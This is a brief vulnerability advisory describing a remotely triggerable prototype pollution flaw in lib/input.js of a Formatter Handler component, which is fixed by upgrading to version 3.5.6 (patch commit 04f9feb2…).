This impacts an unknown function of the file lib/input.js of the component Formatter Handler. Executing a manipulation can lead to improperly controlled modification of object prototype attributes. The attack can be launched remotely. This attack is characterized by high complexity. The exploitability is said to be difficult. Upgrading to version 3.5.6 will fix this issue. This patch is called 04f9feb24bfca23567706392f9ad2c53bbe4134e. You should upgrade the affected component.
